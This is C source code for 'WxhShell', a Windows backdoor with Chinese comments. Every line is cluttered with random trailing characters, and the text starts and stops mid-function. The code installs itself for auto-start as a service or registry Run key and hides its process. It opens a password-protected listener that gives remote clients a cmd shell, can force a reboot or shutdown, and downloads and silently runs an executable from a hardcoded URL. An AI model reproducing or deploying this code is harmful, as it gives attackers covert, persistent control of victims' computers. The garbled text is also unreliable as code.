    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BsqP?/  
    else { 0g y/:T  
    closesocket(wsh); (%e .:W${  
    ExitThread(0); E=CsIK   
    } 8Pn#+IvCE  
    break; zrL$]Oy}x  
    } [OV"}<V  
  // 获取shell Z/;(f L  
  case 's': { NI}yVV  
    CmdShell(wsh); wh\}d4gN  
    closesocket(wsh); YY((V@|K  
    ExitThread(0); 1s2>C!\  
    break; LX7FaW  
  } B^Nf #XN(  
  // 退出 ~u!|qM  
  case 'x': { 8# >op6^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ogtEAv~e7N  
    CloseIt(wsh); m!4ndO;0vh  
    break; )}]g] g  
    } C'+YQ]u  
  // 离开 WJndoB.f[2  
  case 'q': { nntuLuW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +0%w ;'9z  
    closesocket(wsh); YTX,cj#D^&  
    WSACleanup(); :O?MSS;~  
    exit(1); \H~T>j{N  
    break; [b<oDX#  
        } _AYK435>N  
  } *@r/5pM2}  
  } +L| ?~p`V  
%@ODs6 R0  
  // 提示信息 p2[n$61   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N/'b$m5= S  
} BB$>h}  
  } D/B8tf+V  
uk]$#TV*q>  
  return; 5 +YH.4R  
} nQtWvT  
z'U1bMg  
// shell模块句柄 9:[  9v  
int CmdShell(SOCKET sock) S6M}WR^,  
{ Mj?`j_X  
STARTUPINFO si; E *6Cw l  
ZeroMemory(&si,sizeof(si)); :WS@=sZN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nH'e?>x~e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D~fl JR  
PROCESS_INFORMATION ProcessInfo; VUGmi]qd  
char cmdline[]="cmd"; l0w]`EE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q&ptc>{bH6  
  return 0; y`5 9A  
} ~i{(<.he  
v2\FA(BPn  
// 自身启动模式 q[ZTHd.-  
int StartFromService(void) 0c]/bs{}  
{ t?&|8SId  
typedef struct Z'W =\rl  
{ *3FKt&v 0  
  DWORD ExitStatus; EIAc@$4  
  DWORD PebBaseAddress; SrJGTuXg  
  DWORD AffinityMask; o#gWbAG;]b  
  DWORD BasePriority; 7~ p@0)''  
  ULONG UniqueProcessId; 9(7-{,c  
  ULONG InheritedFromUniqueProcessId; aEWWP]  
}   PROCESS_BASIC_INFORMATION; 8z`G,qh  
)}(^, Fo c  
PROCNTQSIP NtQueryInformationProcess; ) 7@ `ut  
gp?uHKsM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6]N;r5n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QXFo1m  
D%SlAzZ3  
  HANDLE             hProcess; 2(+2+ }  
  PROCESS_BASIC_INFORMATION pbi; "| g>'wM*  
At>DjKx]O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rfJz8uF%  
  if(NULL == hInst ) return 0; %E>Aw>] v  
 KC6.Fr{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UHkMn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vwf$JdK%&l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H@>` F  
O+]ZyHnB  
  if (!NtQueryInformationProcess) return 0; KYI/  
-f^tE,-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I6av6t}  
  if(!hProcess) return 0; q3N jky1w  
ED( Sg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +GN(Ug'R  
_< V)-Y  
  CloseHandle(hProcess); ueWEc^_>  
NwvC[4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RSRS wkC  
if(hProcess==NULL) return 0; \?-<4Bc@  
yx[/|nZDC4  
HMODULE hMod; eC4[AX6e  
char procName[255]; 2@],ZLa  
unsigned long cbNeeded; Of#u  
4F:\-O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T&bY a`f]  
#:_Kws>+  
  CloseHandle(hProcess); Dx?,=~W9  
RbnVL$c  
if(strstr(procName,"services")) return 1; // 以服务启动 &6!)jIWJ  
nR~@#P\  
  return 0; // 注册表启动 BDDlQci38  
} F/{!tx  
qe#tj/aZ  
// 主模块 M|h3Wt~7  
int StartWxhshell(LPSTR lpCmdLine) TIDO@NwF  
{ @Nx 9)  
  SOCKET wsl; U7F!Z( 9  
BOOL val=TRUE; JH9J5%sp  
  int port=0; vvMT}-!  
  struct sockaddr_in door; [9L:),&u  
q]-r@yF  
  if(wscfg.ws_autoins) Install(); #c!lS<z  
$6 f3F?y7  
port=atoi(lpCmdLine); W ac&b  
va@Lz&sAE%  
if(port<=0) port=wscfg.ws_port; !F$6-0%  
F$]Pk|,  
  WSADATA data; 8nV+e~-w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XRi8Gpg  
73;GW4,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7?_CcRe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $U~]=.n  
  door.sin_family = AF_INET; h2R::/2.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gM:".Ee  
  door.sin_port = htons(port); ;.980+i1  
7!E,V:bt'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4tBYR9|  
closesocket(wsl); "chDg(jMZ  
return 1; 6i/(5 nQ  
} hwv/AnX~O  
c^W)07-X5y  
  if(listen(wsl,2) == INVALID_SOCKET) { j#ab_3xH  
closesocket(wsl); G 3ptx! D  
return 1; ?Ir:g=RP*  
} &6VnySE?  
  Wxhshell(wsl); nu%*'.  
  WSACleanup(); cvL;3jRo  
;2QP7PrSY  
return 0; tCt#%7J;a  
i83OOV$1J  
} (tW`=]z-<  
S_H+WfIHV'  
// 以NT服务方式启动 pQB."[n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V0mn4sfs  
{ 1'8YkhQ2a  
DWORD   status = 0; 5z)~\;[ -  
  DWORD   specificError = 0xfffffff; N;%6:I./  
v3>UV8c'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {)<v&'*c~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *o ix6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #/37V2E  
  serviceStatus.dwWin32ExitCode     = 0; F!K>Kz  
  serviceStatus.dwServiceSpecificExitCode = 0; _aeBauD  
  serviceStatus.dwCheckPoint       = 0; (QB2T2x  
  serviceStatus.dwWaitHint       = 0; )+Pus~w  
tZo} ;|~'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BY*8ri^u  
  if (hServiceStatusHandle==0) return; X@FN|Rdh  
|y!A&d=xYn  
status = GetLastError(); q@2siI~W  
  if (status!=NO_ERROR) /Z4et'Lo  
{ <gBA1oRz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?Mfw]z"\C)  
    serviceStatus.dwCheckPoint       = 0; cB&:z)i4  
    serviceStatus.dwWaitHint       = 0; f%hEnZv  
    serviceStatus.dwWin32ExitCode     = status; ybUaTD@?}b  
    serviceStatus.dwServiceSpecificExitCode = specificError; > Nr#O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); akQ7K  
    return; hpk7 A np  
  } /Ci<xmP  
@KAI4LP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3;Fhg!Z O  
  serviceStatus.dwCheckPoint       = 0; B>.qd  
  serviceStatus.dwWaitHint       = 0; zdH kG_PT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?bu>r=oIO]  
} L/^I*p,  
8~gLqh8^V  
// 处理NT服务事件,比如:启动、停止 {VoHh_[5%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cN9t{.m  
{ 1-QS~)+  
switch(fdwControl) ~PNub E  
{ p D+k*  
case SERVICE_CONTROL_STOP: |zE'd!7E  
  serviceStatus.dwWin32ExitCode = 0; " 2Dngw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -Y;3I00(  
  serviceStatus.dwCheckPoint   = 0; Xn\jO>[Ef  
  serviceStatus.dwWaitHint     = 0; :eLVC7'  
  { lb1Xsgm{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s"?3]P  
  } Ecx<OTo  
  return; kO-(~];  
case SERVICE_CONTROL_PAUSE: /H+a0`/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BFW&2  
  break; wH6aAV~1  
case SERVICE_CONTROL_CONTINUE: 5E_YEBO/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !5?<% *  
  break; YT8F#t8  
case SERVICE_CONTROL_INTERROGATE: ua `RJ  
  break; gv{ >`AN  
}; /|#fejPh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vs{|xG7W D  
} 0Fr?^3h  
*k>n<p3dd  
// 标准应用程序主函数 <_KIK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VOh4#%Vj  
{ F1Bq$*'N$w  
$ o#V#  
// 获取操作系统版本 h3@v+Z<}  
OsIsNt=GetOsVer(); P}`H ~N~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J!7MZL b  
U|j`e5)  
  // 从命令行安装 5.J.RE"M  
  if(strpbrk(lpCmdLine,"iI")) Install(); 01(AK%e  
-+-_I*(  
  // 下载执行文件 &XUiKnNW  
if(wscfg.ws_downexe) { >~+ELVB&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Z|P2dI  
  WinExec(wscfg.ws_filenam,SW_HIDE); eO[b1]WLP  
} j^2j& Ta  
KdbHyg<4  
if(!OsIsNt) { 9490o:s  
// 如果时win9x,隐藏进程并且设置为注册表启动 d9|<@A  
HideProc(); NSA-}2$  
StartWxhshell(lpCmdLine); #@nezu2  
} hqkz^!rp  
else b9dLt6d  
  if(StartFromService()) gt w Q-  
  // 以服务方式启动 r^ ZEImjc  
  StartServiceCtrlDispatcher(DispatchTable); K8Y=S12Ti  
else $\y'I Q%  
  // 普通方式启动 i,9)\1R  
  StartWxhshell(lpCmdLine); PXNh&N  
6<(.4a?  
return 0; i&GH/y  
} %sQ^.` 2  
Qv/=&_6  
kt$jm)UI~l  
[Hh9a;.*}h  
=========================================== e'b(gD}  
n^6j9 FQ7  
-4_$ln w$  
(qulwOt~w  
G {%LB}2  
y:qUn!3  
" jPW#(3hoE  
$[=%R`~w  
#include <stdio.h> Pw!MS5=r  
#include <string.h> -Wi` G  
#include <windows.h> 6ar   
#include <winsock2.h> C/6V9;U  
#include <winsvc.h> D]Xsvv #  
#include <urlmon.h> M{hg0/}sUW  
Z^MNf  
#pragma comment (lib, "Ws2_32.lib") dT1H  
#pragma comment (lib, "urlmon.lib") s>n)B^64W  
dQR-H7U  
#define MAX_USER   100 // 最大客户端连接数 oWo- j<  
#define BUF_SOCK   200 // sock buffer :$BCRQ  
#define KEY_BUFF   255 // 输入 buffer rFYWs6  
Q9G;V]./  
#define REBOOT     0   // 重启 HcSXsF  
#define SHUTDOWN   1   // 关机 mZ"4&U  
|T)6yDL  
#define DEF_PORT   5000 // 监听端口 g0ly  
bTs?!~q  
#define REG_LEN     16   // 注册表键长度 Qtv&ijFC  
#define SVC_LEN     80   // NT服务名长度 h Pa_VrH  
qfRH5)k  
// 从dll定义API ' AEE[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (7=!+'T"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !6>~?gNd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @>>~CZ`l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vbe|hO""  
q0r>2c-d  
// wxhshell配置信息 .qZ~_xkd  
struct WSCFG { 3H6lBF  
  int ws_port;         // 监听端口 s6.M\^  
  char ws_passstr[REG_LEN]; // 口令 rJbf_]^  
  int ws_autoins;       // 安装标记, 1=yes 0=no A='N=^Pm  
  char ws_regname[REG_LEN]; // 注册表键名 h2J/c#Qvh  
  char ws_svcname[REG_LEN]; // 服务名 x$Oq0d{T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8MzVOF{"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E`de7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !1 8clL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =sJ7=39  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -0{r>,&Mm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |\IN.W[EL  
n+q!l&&  
}; MUREiL9L|  
Mh/dpb\Z  
// default Wxhshell configuration pRIhFf  
struct WSCFG wscfg={DEF_PORT, @ljA  
    "xuhuanlingzhe", b Y\K  
    1, IIF] /Ek]  
    "Wxhshell", D rHV G  
    "Wxhshell", VE {3}S  
            "WxhShell Service", *|C^=*j9  
    "Wrsky Windows CmdShell Service", _Wp{ [TH  
    "Please Input Your Password: ", ;HJLs2bP  
  1, u:gN?O/G  
  "http://www.wrsky.com/wxhshell.exe", MmnOHN@.  
  "Wxhshell.exe" lpeEpI/gM  
    }; L>W'LNXCv  
NS%xTLow-  
// 消息定义模块 t2I5hSf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )d1_Wm#B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r1.nTO%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'y2nN=CN  
char *msg_ws_ext="\n\rExit."; q[`]D7W "  
char *msg_ws_end="\n\rQuit."; BJB^m|b)  
char *msg_ws_boot="\n\rReboot..."; *`\Pr  
char *msg_ws_poff="\n\rShutdown..."; Vq5k+3W+  
char *msg_ws_down="\n\rSave to "; L,`Lggq-  
G_{&sa  
char *msg_ws_err="\n\rErr!"; l@H  
char *msg_ws_ok="\n\rOK!"; Lz!,kwg  
6c"0})p  
char ExeFile[MAX_PATH]; )5%'.P>  
int nUser = 0; wEE\+3b)  
HANDLE handles[MAX_USER]; ?R Oqn6k&c  
int OsIsNt; ^3{TZ=_;|  
;04Ldb1{|3  
SERVICE_STATUS       serviceStatus; H!nr^l'+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ##;Er47@^  
. DR<Te  
// 函数声明 pr#z=vqH  
int Install(void); TUDr\' @/f  
int Uninstall(void); J(%0z:exs  
int DownloadFile(char *sURL, SOCKET wsh); T[uiPs /xD  
int Boot(int flag); 9C[ywp  
void HideProc(void); n9A7K$ZD@  
int GetOsVer(void); < hO /jB  
int Wxhshell(SOCKET wsl); 2 :mn</z  
void TalkWithClient(void *cs); Zh*u(rO  
int CmdShell(SOCKET sock); GXjfQ~<]  
int StartFromService(void); {R61cD,n  
int StartWxhshell(LPSTR lpCmdLine); + 33@?fl.  
t{FlB!jv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4Hn`'+b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ks97k8B  
,^WJm?R  
// 数据结构和表定义 OD 3f.fT  
SERVICE_TABLE_ENTRY DispatchTable[] = :.d:9Z|_  
{ w'fT=v)  
{wscfg.ws_svcname, NTServiceMain}, ~L_hZso4  
{NULL, NULL} -gas?^`  
}; WN5`;{\  
T?1Du"d8  
// 自我安装 ,4,V4 N  
int Install(void) !F4@KAv  
{ VY"9?2?/  
  char svExeFile[MAX_PATH]; "/6:6`J  
  HKEY key; )0e2ic/  
  strcpy(svExeFile,ExeFile); V8wKAj Ux  
@81Vc<dJ  
// 如果是win9x系统,修改注册表设为自启动  4)4+M  
if(!OsIsNt) { 5"]~oPK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -}4NT{E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8kt5KnD2  
  RegCloseKey(key); %#Z/2<_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^o@,3__7Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [kzd(u  
  RegCloseKey(key); ;v~-'*0  
  return 0; 8W+gl=C~  
    } rgf#wH%hN  
  } ]cC[-F[  
} <uk1?Q g  
else { l Js <  
-MugnB6  
// 如果是NT以上系统,安装为系统服务 C"qU-&*v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \[>9UC%  
if (schSCManager!=0) c$,_>tcP  
{ %tt%`0  
  SC_HANDLE schService = CreateService $ RwB_F  
  ( o}'bv  
  schSCManager, )|<_cwz  
  wscfg.ws_svcname, dj&}Gedy  
  wscfg.ws_svcdisp, 4Kv[e]10(  
  SERVICE_ALL_ACCESS, gbStAr.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5ZPzPUa8~  
  SERVICE_AUTO_START, zT* .jv  
  SERVICE_ERROR_NORMAL, 4^' 3&vu  
  svExeFile, W"xP(7X  
  NULL, @C-dG7U.P  
  NULL, O0*e)i8  
  NULL, "4j:[9vR\  
  NULL, geefnb  
  NULL PaCzr5!~f  
  ); &~f3psA  
  if (schService!=0) aSYs_?&.  
  { k)FmDX  
  CloseServiceHandle(schService); 8g7,2f/ }  
  CloseServiceHandle(schSCManager); =`C4qC _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A?"h@-~2  
  strcat(svExeFile,wscfg.ws_svcname); L1)@z8]   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $H'X V"<o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |\uYv|sT  
  RegCloseKey(key); \H5Jk$*  
  return 0; F[7x*-NO-  
    } snp v z1iS  
  } [{<dbW\ 9  
  CloseServiceHandle(schSCManager); :PnSQjV:  
} h:Ndzp{  
} _2mNTJiw  
I/COqU7~  
return 1; g42R 'E%  
} TL)O-  
*R`MMm  
// 自我卸载 a~^Srj!}x  
int Uninstall(void) bn 4 &O  
{ -Ubj6 t_K  
  HKEY key; #DP7SO  
GG'Sp53GE  
if(!OsIsNt) { =!-5+I#e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _& 4its  
  RegDeleteValue(key,wscfg.ws_regname); LE c8NQs  
  RegCloseKey(key); eZO9GMO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FyEDt@J  
  RegDeleteValue(key,wscfg.ws_regname); >3 Ko.3&  
  RegCloseKey(key); iM64,wnA  
  return 0; %7`d/dgR  
  } iWXMKu  
} #cEq_[yI  
} ^[M~K5Y  
else { %9c|%#3  
.9\Cy4_qSd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;x>;jS.t  
if (schSCManager!=0) .{N\<01  
{ uaQ&&5%%J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?\yB)Nd y  
  if (schService!=0) p\ txlT  
  { wd`R4CKhP]  
  if(DeleteService(schService)!=0) { \FI^ Vk  
  CloseServiceHandle(schService); c=t*I0-OVS  
  CloseServiceHandle(schSCManager); &y3B)#dIJ  
  return 0; ~&[u]u[  
  } ;2W2MZ!TF  
  CloseServiceHandle(schService); ucFw,sB1  
  } r|8V @.@i  
  CloseServiceHandle(schSCManager); @dhH;gt.I  
} O&P>x#w  
} OX,F09.C  
cJ4S!  
return 1; pFH?/D/q  
} fbL!=]A*3  
Alh?0Fk3)  
// 从指定url下载文件 sRil>6QR  
int DownloadFile(char *sURL, SOCKET wsh) %~(~W>^A  
{ ks^|>  
  HRESULT hr; .??rqaZ=  
char seps[]= "/"; (jneEo=vr  
char *token; =[8d@d\  
char *file; 0eaUorm)  
char myURL[MAX_PATH]; wO\!xW:  
char myFILE[MAX_PATH]; v*gLNB,ZH  
S%P3ek>3  
strcpy(myURL,sURL); H!^C2  
  token=strtok(myURL,seps); [EcV\.  
  while(token!=NULL) K+t];(  
  { 0<"tl0p_  
    file=token; nR#a)et  
  token=strtok(NULL,seps); A9.;>8!u  
  } m>+A*M8  
$/y%[ .  
GetCurrentDirectory(MAX_PATH,myFILE); zh hGqz[K  
strcat(myFILE, "\\"); ^$?7H>=_ha  
strcat(myFILE, file); TyyRj4>  
  send(wsh,myFILE,strlen(myFILE),0); l+'`BBh*]  
send(wsh,"...",3,0); dnLo(<{<U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jFS 'I*1+  
  if(hr==S_OK) jBGG2[hV  
return 0; Y~}QJ+`?  
else SSo~.)J  
return 1; q 8tP29  
_;%.1H{N  
} fa/P%9db  
{[rO2<MkA#  
// 系统电源模块 Ig='a"%  
int Boot(int flag) Fj36K6!#?  
{ gA|!$ EAM  
  HANDLE hToken; [k}dES#  
  TOKEN_PRIVILEGES tkp; w@4t$bd7  
MJpP!a^Q  
  if(OsIsNt) { O>kXysMv>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I>(;bNgN E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V%VrAi.  
    tkp.PrivilegeCount = 1; Q;d+]xj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Q<Kha  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pXGK:ceFu  
if(flag==REBOOT) { e@6RC bj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {-:4O\/  
  return 0; m&(%&}g  
} 3W%f#d$`  
else { mRg ,A\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !4DG P28  
  return 0; `lH1IA/3  
} 5e~ j  
  } /gMa"5?,  
  else { #VP-T; Ahe  
if(flag==REBOOT) { ?[a7l:3-[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7TMDZ*  
  return 0; 'b?#4rq}  
} YL0WUD_>  
else { %B*<BgJ;4F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K{eqB!@j  
  return 0; zz+M1n-;o  
} ~jgN_jz  
} wz|Q%.%?[  
T7WZ(y 3C  
return 1; Azdz3/  
} 6_ 33*/>=c  
4F1.D9u  
// win9x进程隐藏模块 f0N)N}y  
void HideProc(void) w<8O=  
{ 0& SrKn  
5KA FUR0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :"y7Weh  
  if ( hKernel != NULL ) y~#R:&d"  
  { (<g;-pZH%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \M3NasZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v"Ud mv"  
    FreeLibrary(hKernel); ,~ia$vI}R  
  } jmA{rD W  
>uqS  
return; D,m&^P=%e  
} ki][qvXJ  
;)bF#@Q  
// 获取操作系统版本 04T*\G^:=  
int GetOsVer(void) %+j]vP  
{ F%ylR^H>  
  OSVERSIONINFO winfo; V+"*A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sv^'CpQ  
  GetVersionEx(&winfo); K:lT-*+S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QVZ6;/  
  return 1; +%cr?g  
  else KWuj_.;  
  return 0; {bq-: CZe  
} b6E8ase:F  
0z<]\a4  
// 客户端句柄模块 4|o{_g[  
int Wxhshell(SOCKET wsl) 7`'fUhB!  
{ ePcI^}{  
  SOCKET wsh; Xta>  
  struct sockaddr_in client; FoelOq6  
  DWORD myID; /j5- "<;.  
owS@dbO  
  while(nUser<MAX_USER) }rAN2D]"}  
{ Z?j='/u>@  
  int nSize=sizeof(client); 'I01F:`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nz;*;BQK:  
  if(wsh==INVALID_SOCKET) return 1; ?}>Z_ ("  
,knI26Jh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CR8r|+(8  
if(handles[nUser]==0) QT&Ws+@ s{  
  closesocket(wsh); @ke})0 `5  
else sN` o_q{Q  
  nUser++; 1AEVZ@(j7  
  } R (Pa Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aKFA&Xnsl  
7(+ZfY~w"  
  return 0; b)`#^uxxJ  
} R{y{  
O0*L9C/Q  
// 关闭 socket e8uIh[+ 0  
void CloseIt(SOCKET wsh) 2bG4 ,M  
{ VKJ~ZIO@A  
closesocket(wsh); 6XCX#4'i%  
nUser--; &"6ktKrIg  
ExitThread(0); +6Fdi*:  
} {gHscj;SM  
SIVLYi  
// 客户端请求句柄 <hC3#dNRd  
void TalkWithClient(void *cs) _eeX]xSSl  
{ csA.3|rv  
+dpj?  
  SOCKET wsh=(SOCKET)cs; g<tTZD\g  
  char pwd[SVC_LEN]; }Fe{s;  
  char cmd[KEY_BUFF]; &>B>+}'  
char chr[1]; gJ~*rWBK:  
int i,j; s31_3?Vdf,  
L*oL KigT  
  while (nUser < MAX_USER) { Zd/~ *ZA  
0$Db@  
if(wscfg.ws_passstr) { s-S"\zX\D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CKw)J}z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w3UJw  
  //ZeroMemory(pwd,KEY_BUFF); /4BXF4ksi,  
      i=0; =C2C~Xd  
  while(i<SVC_LEN) { 69[k ?')LM  
WG r\R  
  // 设置超时 w:@M|O4`  
  fd_set FdRead; +ANIm^@  
  struct timeval TimeOut; #e|kA&+8M  
  FD_ZERO(&FdRead); q)i(wEdUZ  
  FD_SET(wsh,&FdRead); KA2B3\  
  TimeOut.tv_sec=8; zX Pj7K*  
  TimeOut.tv_usec=0; 4 V*)0?oYE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); na; ^/_U@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DQQjx>CK  
@= 9y5r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /YR $#&N2  
  pwd=chr[0]; 0~+:~$VrT  
  if(chr[0]==0xd || chr[0]==0xa) { bG?[":k  
  pwd=0; F+r6/e6a  
  break; Ik)Q0_<a  
  } ] 6B!eB !  
  i++; !A0bbJ  
    } h:90K  
Im#$iPIvT  
  // 如果是非法用户,关闭 socket Ip-jqN J~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cv1L!Ce,  
} 7NEn+OI4  
Inoou 'jX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e /Y+S;a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i i Y[  
zb$U'D_ -f  
while(1) { w5\)di  
fXj  
  ZeroMemory(cmd,KEY_BUFF); gQwmYe  
LOzKpvGl  
      // 自动支持客户端 telnet标准   ?sE21m?b-  
  j=0; iDJ2dM}v  
  while(j<KEY_BUFF) { w ?aLWySYT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %4J?xhd  
  cmd[j]=chr[0]; h08T Q=n  
  if(chr[0]==0xa || chr[0]==0xd) { SF7 Scd  
  cmd[j]=0; \PJ89u0  
  break; 39#>C~BOl  
  } o~p^`5#  
  j++; 0jH2. d=  
    } *1Q?~  
va<pHSX&I@  
  // 下载文件 l"CONzm!  
  if(strstr(cmd,"http://")) { $-73}[UA 4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .rHO7c,P~  
  if(DownloadFile(cmd,wsh)) >E3OYa?G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VXp X#O  
  else mDUS9>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;r5]wimb  
  } f{0PLFj  
  else { gqd#rjtfz  
qI9 BAs1~}  
    switch(cmd[0]) { &CgD smJo#  
  = 4L.  
